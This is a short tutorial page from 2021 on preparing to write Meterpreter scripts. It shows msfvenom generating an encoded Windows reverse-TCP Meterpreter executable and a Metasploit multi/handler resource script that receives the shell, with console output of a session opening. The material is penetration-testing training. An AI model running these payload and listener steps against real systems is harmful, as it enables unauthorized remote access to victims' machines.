Msf Runscript
@ Animesh Roy | Wednesday, Apr 7, 2021 | 2 minutes read | Update at Wednesday, Apr 7, 2021


There are a few things you need to keep in mind when creating a new Meterpreter script.

  • Not all versions of Windows are the same
  • Some versions of Windows have security countermeasures for some of the commands
  • Not all command line tools are in all versions of Windows
  • Some of the command line tools switches vary depending on the version of Windows

For our purposes, we are going to create a stand alone binary that will be run on the target system that will create a reverse Meterpreter shell back to us. This will rule out any problems with an exploit as we work through our script development.

root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST= -b "\x00" -f exe -o Meterpreter.exe
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
Saved as: Meterpreter.exe

Wonderful. Now, we move the executable to our Windows machine that will be our target for the script we are going to write. We just have to set up our listener. To do this, lets create a short script to start up multi-handler for us.

root@kali:~# touch meterpreter.rc
root@kali:~# echo use exploit/multi/handler >> meterpreter.rc
root@kali:~# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc
root@kali:~# echo set LHOST >> meterpreter.rc
root@kali:~# echo set ExitOnSession false >> meterpreter.rc
root@kali:~# echo exploit -j -z >> meterpreter.rc
root@kali:~# cat meterpreter.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j -z

Now, all that remains is to start up msfconsole with our our resource script.

root@kali:~# msfconsole -r meterpreter.rc

       =[ metasploit v4.8.2-2014021901 [core:4.8 api:1.0] ]
+ -- --=[ 1265 exploits - 695 auxiliary - 202 post ]
+ -- --=[ 330 payloads - 32 encoders - 8 nops      ]

resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST
resource> set ExitOnSession false
ExitOnSession => false
resource> exploit -j -z
[*] Handler binding to LHOST
[*] Started reverse handler
[*] Starting the payload handler...

upon execution

[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened ( ->

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

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